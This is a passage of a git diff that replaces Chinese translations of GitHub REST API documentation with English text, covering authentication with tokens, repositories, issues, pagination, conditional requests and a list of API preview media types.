标头。 这对标头指示在滚动时间段（通常为一小时）内[一个客户端可以发出多少个请求][rate-limiting]，以及该客户端已使用多少个此类请求。 +* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types] +for the response. Media types have helped us version our output in API v3. We'll +talk more about that later. +* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This +pair of headers indicate [how many requests a client can make][rate-limiting] in +a rolling time period (typically an hour) and how many of those requests the +client has already spent. -## 身份验证 +## Authentication -未经身份验证的客户端每小时可以发出 60 个请求。 要每小时发出更多请求，我们需要进行_身份验证_。 事实上，使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行任何交互都需要[身份验证][authentication]。 +Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to +_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires +[authentication][authentication]. -### 使用个人访问令牌 +### Using personal access tokens -使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行身份验证的最简单和最佳的方式是[通过 OAuth 令牌](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens)使用基本身份验证。 OAuth 令牌包括[个人访问令牌][personal token]。 +The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token]. -使用 `-u` 标志设置您的用户名： +Use a `-u` flag to set your username: ```shell $ curl -i -u your_username {% data variables.product.api_url_pre %}/users/octocat ``` -出现提示时，您可以输入 OAuth 令牌，但我们建议您为它设置一个变量： +When prompted, you can enter your OAuth token, but we recommend you set up a variable for it: -您可以使用 `-u "your_username:$token"` 并为 `token` 设置一个变量，以避免您的令牌留在 shell 历史记录中，这种情况应尽量避免。 +You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided. ```shell $ curl -i -u your_username:$token {% data variables.product.api_url_pre %}/users/octocat ``` -进行身份验证时，您应该会看到您的速率限制达到每小时 5,000 个请求，如 `X-RateLimit-Limit` 标头中所示。 除了每小时提供更多调用次数之外，身份验证还使您能够使用 API 读取和写入私有信息。 +When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API. -您可以使用[个人访问令牌设置页面][tokens settings]轻松[创建**个人访问令牌**][personal token]。 +You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]: {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} {% warning %} -为了帮助保护您的信息安全，我们强烈建议为您的个人访问令牌设置一个到期日。 +To help keep your information secure, we highly recommend setting an expiration for your personal access tokens. {% endwarning %} {% endif %} {% ifversion fpt or ghes or ghec %} -![个人令牌选择](/assets/images/personal_token.png) +![Personal Token selection](/assets/images/personal_token.png) {% endif %} {% ifversion ghae %} -![个人令牌选择](/assets/images/help/personal_token_ghae.png) +![Personal Token selection](/assets/images/help/personal_token_ghae.png) {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} -使用到期的个人访问令牌的 API 请求将通过 `GitHub-Authentication-Token-Expiration` 标头返回该令牌的到期日期。 当令牌接近其过期日期时，您可以使用脚本中的标头来提供警告信息。 +API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date. {% endif %} -### 获取自己的用户个人资料 +### Get your own user profile -在正确验证身份后，您可以利用与 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户相关的权限。 。 例如，尝试获取 +When properly authenticated, you can take advantage of the permissions +associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting +[your own user profile][auth user api]: ```shell $ curl -i -u your_username:your_token {% data variables.product.api_url_pre %}/user @@ -173,71 +189,89 @@ $ curl -i -u your_username:your_token {% data variables.produc > } ``` -此时，除了先前为 [@defunkt][defunkt github] 检索到的公共信息集之外，您还可以查看您的用户个人资料的非公共信息。 例如，您将在响应中看到 `plan` 对象，它提供有关帐户的 {% data variables.product.product_name %} 计划的详细信息。 +This time, in addition to the same set of public information we +retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account. -### 对应用程序使用 OAuth 令牌 +### Using OAuth tokens for apps -需要代表其他用户使用 API 读取或写入私有信息的应用程序应使用 [OAuth][oauth]。 +Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth]. -OAuth 使用_令牌_。 令牌具有两大特点： +OAuth uses _tokens_. Tokens provide two big features: -* **可撤销访问权限**：用户可以随时撤销对第三方应用程序的授权 -* **有限访问权限**：用户可以在授权第三方应用程序前审查令牌将提供的具体访问权限。 +* **Revokable access**: users can revoke authorization to third party apps at any time +* **Limited access**: users can review the specific access that a token + will provide before authorizing a third party app -令牌应通过 [web 工作流程][webflow]进行创建。 应用程序将用户发送到 {% data variables.product.product_name %} 进行登录。 {% data variables.product.product_name %} 随后显示一个对话框，指示应用程序的名称以及应用程序经用户授权后具有的权限级别。 经用户授权访问后，{% data variables.product.product_name %} 将用户重定向到应用程序： +Tokens should be created via a [web flow][webflow]. An application +sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog +indicating the name of the app, as well as the level of access the app +has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %} +redirects the user back to the application: -![GitHub 的 OAuth 提示](/assets/images/oauth_prompt.png) +![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png) -**像对待密码一样对待 OAuth 令牌！**不要与其他用户共享它们，也不要将其存储在不安全的地方。 这些示例中的令牌是假的，并且更改了名称以免波及无辜。 +**Treat OAuth tokens like passwords!** Don't share them with other users or store +them in insecure places. The tokens in these examples are fake and the names have +been changed to protect the innocent. -现在我们已经掌握了进行身份验证的调用，接下来我们介绍[仓库 API][repos-api]。 +Now that we've got the hang of making authenticated calls, let's move along to +the [Repositories API][repos-api]. -## 仓库 +## Repositories -几乎任何有意义的 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 使用都会涉及某种级别的仓库信息。 信息。 我们可以像之前获取用户详细信息一样 [`GET` 仓库详细信息][get repo]： +Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository +information. We can [`GET` repository details][get repo] in the same way we fetched user +details earlier: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap ``` -同样，我们可以查看[经身份验证用户的仓库][user repos api]： +In the same way, we can [view repositories for the authenticated user][user repos api]: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/user/repos ``` -或者，我们可以[列出其他用户的仓库][other user repos api]： +Or, we can [list repositories for another user][other user repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos ``` -或者，我们可以[列出组织的仓库][org repos api]： +Or, we can [list repositories for an organization][org repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos ``` -从这些调用返回的信息将取决于我们进行身份验证时令牌所具有的作用域： +The information returned from these calls will depend on which scopes our token has when we authenticate: -{% ifversion not ghae %} -* 具有 `public_repo` [作用域][scopes]的令牌返回的响应包含我们在 github.com 上有权查看的所有公共仓库。{% endif %} -* 具有 `repo` [作用域][scopes]的令牌返回的响应包含我们在{% data variables.product.product_location %} 上有权查看的所有{% ifversion not ghae %}公共{% else %}内部{% endif %}和私有仓库。 +{%- ifversion fpt or ghec or ghes %} +* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}. +{%- endif %} +* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}. -如[文档][repos-api]所示，这些方法采用 `type` 参数，可根据用户对仓库的访问权限类型来过滤返回的仓库。 这样，我们可以只获取直接拥有的仓库、组织仓库或用户通过团队进行协作的仓库。 +As the [docs][repos-api] indicate, these methods take a `type` parameter that +can filter the repositories returned based on what type of access the user has +for the repository. In this way, we can fetch only directly-owned repositories, +organization repositories, or repositories the user collaborates on via a team. ```shell $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner" ``` -在此示例中，我们只获取 octocat 拥有的仓库，而没有获取她协作的仓库。 请注意上面的引用 URL。 根据您的 shell 设置，cURL 有时需要一个引用 URL，否则它会忽略查询字符串。 +In this example, we grab only those repositories that octocat owns, not the +ones on which she collaborates. Note the quoted URL above. Depending on your +shell setup, cURL sometimes requires a quoted URL or else it ignores the +query string. -### 创建仓库 +### Create a repository -获取现有仓库的信息是一种常见的用例，但 -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 也支持创建新的仓库。 要[创建仓库][create repo]， -我们需要 `POST` 一些包含详细信息和配置选项的JSON。 +Fetching information for existing repositories is a common use case, but the +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo], +we need to `POST` some JSON containing the details and configuration options. ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ @@ -250,11 +284,14 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next o {% data variables.product.api_url_pre %}/user/repos ``` -在这个最小的示例中，我们为博客（也许要在 [GitHub Pages][pages] 上提供）创建了一个新的私有仓库。 虽然博客 {% ifversion not ghae %}将是公开的{% else %}可供所有企业成员访问{% endif %}，但我们已经将仓库设置为私有。 在这一步中，我们还将使用自述文件和 [nanoc][nanoc] 风格的 [.gitignore 模板][gitignore templates]对其进行初始化。 +In this minimal example, we create a new private repository for our blog (to be served +on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates]. -生成的仓库可在 `https://github.com//blog` 上找到。 要在您拥有的组织下创建仓库，只需将 API 方法从 `/user/repos` 更改为 `/orgs//repos`。 +The resulting repository will be found at `https://github.com//blog`. +To create a repository under an organization for which you're +an owner, just change the API method from `/user/repos` to `/orgs//repos`. -接下来，我们将获取新创建的仓库： +Next, let's fetch our newly created repository: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog @@ -266,36 +303,46 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog > } ``` -哦，不！ 它去哪儿了？ 因为我们创建仓库为 _私有_，所以需要经过身份验证才能看到它。 如果您是一位资深的 HTTP 用户，您可能会预期返回 `403`。 由于我们不想泄露有关私有仓库的信息，因此在本例中，{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 返回 `404`，就好像说“我们既不能确认也不能否认这个仓库的存在”。 +Oh noes! Where did it go? Since we created the repository as _private_, we need +to authenticate in order to see it. If you're a grizzled HTTP user, you might +expect a `403` instead. Since we don't want to leak information about private +repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can +neither confirm nor deny the existence of this repository." -## 议题 +## Issues -{% data variables.product.product_name %} 上的议题 UI 旨在提供“恰到好处”的工作流程，不会妨碍您的其他工作。 通过 {% data variables.product.product_name %} [议题 API][issues-api]，您可以利用其他工具来提取数据或创建议题，以打造适合您的团队的工作流程。 +The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while +staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull +data out or create issues from other tools to create a workflow that works for +your team. -与 github.com 一样，API 为经过身份验证的用户提供了一些查看议题的方法。 要 [查看您的所有议题][get issues api]，请调用 `GET /issues`： +Just like github.com, the API provides a few methods to view issues for the +authenticated user. To [see all your issues][get issues api], call `GET /issues`: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/issues ``` -要仅获取[您的某个 {% data variables.product.product_name %} 组织下的议题][get issues api]，请调用 `GET -/orgs//issues`： +To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET +/orgs//issues`: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/orgs/rails/issues ``` -我们还可以获取[单个仓库下的所有议题][repo issues api]： +We can also get [all the issues under a single repository][repo issues api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues ``` -### 分页 +### Pagination -一个 Rails 规模的项目有数千个议题。 我们需要[分页][pagination]，进行多次 API 调用来获取数据。 我们来重复上次调用，这次请注意响应标头： +A project the size of Rails has thousands of issues. We'll need to [paginate][pagination], +making multiple API calls to get the data. Let's repeat that last call, this +time taking note of the response headers: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues @@ -307,13 +354,20 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues > ... ``` -[`Link` 标头][link-header]提供了一种链接到外部资源（在本例中为额外的数据页面）的方法。 由于我们的调用发现的议题超过 30 个（默认页面大小），因此 API 将告诉我们在哪里可以找到结果的下一页和最后一页。 +The [`Link` header][link-header] provides a way for a response to link to +external resources, in this case additional pages of data. Since our call found +more than thirty issues (the default page size), the API tells us where we can +find the next page and the last page of results. -### 创建议题 +### Creating an issue -我们已经了解如何分页议题列表，现在我们来使用 API [创建议题][create issue]。 +Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from +the API. -要创建议题，我们需要进行身份验证，因此我们将在标头中传递 OAuth 令牌。 此外，我们还将 JSON 正文中的标题、正文和标签传递到要在其中创建议题的仓库下的 `/issues` 路径： +To create an issue, we need to be authenticated, so we'll pass an +OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON +body to the `/issues` path underneath the repository in which we want to create +the issue: ```shell $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \ @@ -365,11 +419,14 @@ $ {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues > } ``` -JSON 响应的 `Location` 响应标头和 `url` 字段为我们提供了一些新建议题的指示。 +The response gives us a couple of pointers to the newly created issue, both in +the `Location` response header and the `url` field of the JSON response. -## 条件请求 +## Conditional requests -通过缓存未更改的信息来遵守速率限制，是成为一个良好 API 公民的重要特质。 API 支持[条件请求][conditional-requests]并帮助您正确行事。 请注意我们为获取 defunkt 的个人资料而进行的第一个调用： +A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional +requests][conditional-requests] and helps you do the right thing. Consider the +first call we made to get defunkt's profile: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/defunkt @@ -378,7 +435,10 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0" ``` -除了 JSON 正文之外，还要注意 HTTP 状态代码 `200` 和 `Etag` 标头。 [ETag][etag] 是响应的指纹。 如果我们在后续调用中传递它，则可以告诉 API 仅在资源发生改变的情况才将其再次提供给我们。 +In addition to the JSON body, take note of the HTTP status code of `200` and +the `ETag` header. +The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls, +we can tell the API to give us the resource again, only if it has changed: ```shell $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \ @@ -387,24 +447,25 @@ $ {% data variables.product.api_url_pre %}/users/defunkt > HTTP/2 304 ``` -`304` 状态表示该资源自上次请求以来没有发生改变，该响应将不包含任何正文。 另外，`304` 响应不计入您的[速率限制][rate-limiting]。 +The `304` status indicates that the resource hasn't changed since the last time +we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting]. -耶！ 现在您了解 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 的基础知识了！ +Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! -* 基本 & OAuth 身份验证 -* 获取和创建仓库及议题 -* 条件请求 +* Basic & OAuth authentication +* Fetching and creating repositories and issues +* Conditional requests -继续学习下一个 API 指南 - [身份验证基础知识][auth guide]！ +Keep learning with the next API guide [Basics of Authentication][auth guide]! [wrappers]: /libraries/ [curl]: http://curl.haxx.se/ [media types]: /rest/overview/media-types [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/ [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/ +[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ [repos-api]: /rest/reference/repos -[repos-api]: /rest/reference/repos [pages]: http://pages.github.com [nanoc]: http://nanoc.ws/ [gitignore templates]: https://github.com/github/gitignore @@ -412,13 +473,14 @@ $ {% data variables.product.api_url_pre %}/users/defunkt [link-header]: https://www.w3.org/wiki/LinkHeader [conditional-requests]: /rest#conditional-requests [rate-limiting]: /rest#rate-limiting -[rate-limiting]: /rest#rate-limiting [users api]: /rest/reference/users#get-a-user -[defunkt github]: https://github.com/defunkt +[auth user api]: /rest/reference/users#get-the-authenticated-user [defunkt github]: https://github.com/defunkt [json]: http://en.wikipedia.org/wiki/JSON [authentication]: /rest#authentication -[personal token]: /articles/creating-an-access-token-for-command-line-use +[2fa]: /articles/about-two-factor-authentication +[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication +[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth [personal token]: /articles/creating-an-access-token-for-command-line-use [tokens settings]: https://github.com/settings/tokens [pagination]: /rest#pagination @@ -430,6 +492,6 @@ $ {% data variables.product.api_url_pre %}/users/defunkt [other user repos api]: /rest/reference/repos#list-repositories-for-a-user [org repos api]: /rest/reference/repos#list-organization-repositories [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user -[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user [repo issues api]: /rest/reference/issues#list-repository-issues [etag]: http://en.wikipedia.org/wiki/HTTP_ETag +[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication diff --git a/translations/zh-CN/content/rest/overview/api-previews.md b/translations/zh-CN/content/rest/overview/api-previews.md index 20eb11e751..54bb112651 100644 --- a/translations/zh-CN/content/rest/overview/api-previews.md +++ b/translations/zh-CN/content/rest/overview/api-previews.md @@ -1,6 +1,6 @@ --- -title: API 预览 -intro: 您可以使用 API 预览来试用新功能并在这些功能正式发布之前提供反馈。 +title: API previews +intro: You can use API previews to try out new features and provide feedback before these features become official. redirect_from: - /v3/previews versions: @@ -13,208 +13,230 @@ topics: --- -API 预览允许您试用新的 API 以及对现有 API 方法的更改（在它们被纳入正式的 GitHub API 之前）。 +API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API. -在预览期间，我们可以根据开发者的反馈更改某些功能。 如果我们要执行变更，将在[开发者博客](https://developer.github.com/changes/)上宣布消息，不会事先通知。 +During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice. -要访问 API 预览，需要在 `Accept` 标头中为您的请求提供自定义[媒体类型](/rest/overview/media-types)。 每个预览的功能文档可指定要提供的自定义媒体类型。 +To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide. {% ifversion ghes < 3.3 %} -## 增强型部署 +## Enhanced deployments -使用更多信息和更精细的方式更好地控制[部署](/rest/reference/repos#deployments)。 +Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity. -**自定义媒体类型：** `ant-man-preview` **公布日期：** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/) +**Custom media type:** `ant-man-preview` +**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/) {% endif %} {% ifversion ghes < 3.3 %} -## 反应 +## Reactions -管理对提交、议题和注释的[反应](/rest/reference/reactions)。 +Manage [reactions](/rest/reference/reactions) for commits, issues, and comments. -**自定义媒体类型：** `squirrel-girl-preview` **公布日期：** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **更新日期：** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/) +**Custom media type:** `squirrel-girl-preview` +**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) +**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/) {% endif %} {% ifversion ghes < 3.3 %} -## 时间表 +## Timeline -获取针对议题或拉取请求的[事件列表](/rest/reference/issues#timeline)。 +Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request. -**自定义媒体类型：** `mockingbird-preview` **公布日期：** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/) +**Custom media type:** `mockingbird-preview` +**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/) {% endif %} {% ifversion ghes %} -## 预接收环境 +## Pre-receive environments -创建、列出、更新和删除预接收挂钩的环境。 +Create, list, update, and delete environments for pre-receive hooks. -**自定义媒体类型：** `eye-scream-preview` **公布日期：** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments) +**Custom media type:** `eye-scream-preview` +**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments) {% endif %} {% ifversion ghes < 3.3 %} -## 项目 +## Projects -管理[项目](/rest/reference/projects)。 +Manage [projects](/rest/reference/projects). -**自定义媒体类型：** `inertia-preview` **公布日期：** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **更新日期：** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/) +**Custom media type:** `inertia-preview` +**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) +**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/) {% endif %} {% ifversion ghes < 3.3 %} -## 提交搜索 +## Commit search -[搜索提交](/rest/reference/search)。 +[Search commits](/rest/reference/search). -**自定义媒体类型：** `cloak-preview` **公布日期：** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/) +**Custom media type:** `cloak-preview` +**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/) {% endif %} {% ifversion ghes < 3.3 %} -## 仓库主题 +## Repository topics -在返回仓库结果的[调用](/rest/reference/repos)中查看[仓库主题](/articles/about-topics/)列表。 +View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results. -**自定义媒体类型：** `mercy-preview` **公布日期：** [2017-01-31](https://github.com/blog/2309-introducing-topics) +**Custom media type:** `mercy-preview` +**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics) {% endif %} {% ifversion ghes < 3.3 %} -## 行为准则 +## Codes of conduct -查看[所有行为准则](/rest/reference/codes-of-conduct)或获取仓库的当前行为准则。 +View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently. -**自定义媒体类型：** `scarlet-witch-preview` +**Custom media type:** `scarlet-witch-preview` {% endif %} {% ifversion ghae or ghes %} -## 全局 web 挂钩 +## Global webhooks -为[组织](/webhooks/event-payloads/#organization)和[用户](/webhooks/event-payloads/#user)事件类型启用[全局 web 挂钩](/rest/reference/enterprise-admin#global-webhooks/)。 此 API 预览仅适用于 {% data variables.product.prodname_ghe_server %}。 +Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}. -**自定义媒体类型：** `superpro-preview` **公布日期：** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks) +**Custom media type:** `superpro-preview` +**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks) {% endif %} {% ifversion ghes < 3.3 %} -## 要求签名提交 +## Require signed commits -现在，您可以使用 API 来管理[要求在受保护的分支上进行签名提交](/rest/reference/repos#branches)的设置。 +You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches). -**自定义媒体类型：** `zzzax-preview` **公布日期：** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures) +**Custom media type:** `zzzax-preview` +**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures) {% endif %} {% ifversion ghes < 3.3 %} -## 要求多次审批 +## Require multiple approving reviews -现在，您可以使用 API [要求多次审批](/rest/reference/repos#branches)拉取请求。 +You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API. -**自定义媒体类型：** `luke-cage-preview` **公布日期：** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews) +**Custom media type:** `luke-cage-preview` +**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews) {% endif %} {% ifversion ghes %} -## 对仓库的匿名 Git 访问 +## Anonymous Git access to repositories -当 {% data variables.product.prodname_ghe_server %} 实例处于私有模式时，站点和仓库管理员可以为公共仓库启用匿名 Git 访问。 +When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository. -**自定义媒体类型：** `x-ray-preview` **公布日期：** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/) +**Custom media type:** `x-ray-preview` +**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/) {% endif %} {% ifversion ghes < 3.3 %} -## 项目卡详细信息 +## Project card details -REST API 对[议题事件](/rest/reference/issues#events)和[议题时间表事件](/rest/reference/issues#timeline)的响应现在可返回项目相关事件的 `project_card` 字段。 +The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events. -**自定义媒体类型：** `starfox-preview` **公布日期：** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events) +**Custom media type:** `starfox-preview` +**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events) {% endif %} {% ifversion fpt or ghec %} -## GitHub 应用程序清单 +## GitHub App Manifests -GitHub 应用程序清单允许用户创建预配置的 GitHub 应用程序。 更多信息请参阅“[从清单创建 GitHub 应用程序](/apps/building-github-apps/creating-github-apps-from-a-manifest/)”。 +GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details. -**自定义媒体类型：** `fury-preview` +**Custom media type:** `fury-preview` {% endif %} {% ifversion ghes < 3.3 %} -## 部署状态 +## Deployment statuses -现在，您可以更新[部署状态](/rest/reference/repos#create-a-deployment-status)的 `environment` 并使用 `in_progress` 和 `queued` 状态。 创建部署状态时，现在可以使用 `auto_inactive` 参数将旧的 `production` 部署标记为 `inactive`。 +You can now update the `environment` of a [deployment status](/rest/reference/repos#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`. -**自定义媒体类型：** `flash-preview` **公布日期：** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/) +**Custom media type:** `flash-preview` +**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/) {% endif %} {% ifversion ghes < 3.3 %} -## 仓库创建权限 +## Repository creation permissions -现在，您可以配置组织成员是否可以创建仓库以及他们可以创建哪些类型的仓库。 更多信息请参阅“[更新组织](/rest/reference/orgs#update-an-organization)”。 +You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details. -**自定义媒体类型：** `surtur-preview` **公布日期：** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) +**Custom media types:** `surtur-preview` +**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) {% endif %} -## 内容附件 +## Content attachments -现在，您可以在 GitHub 中使用 {% data 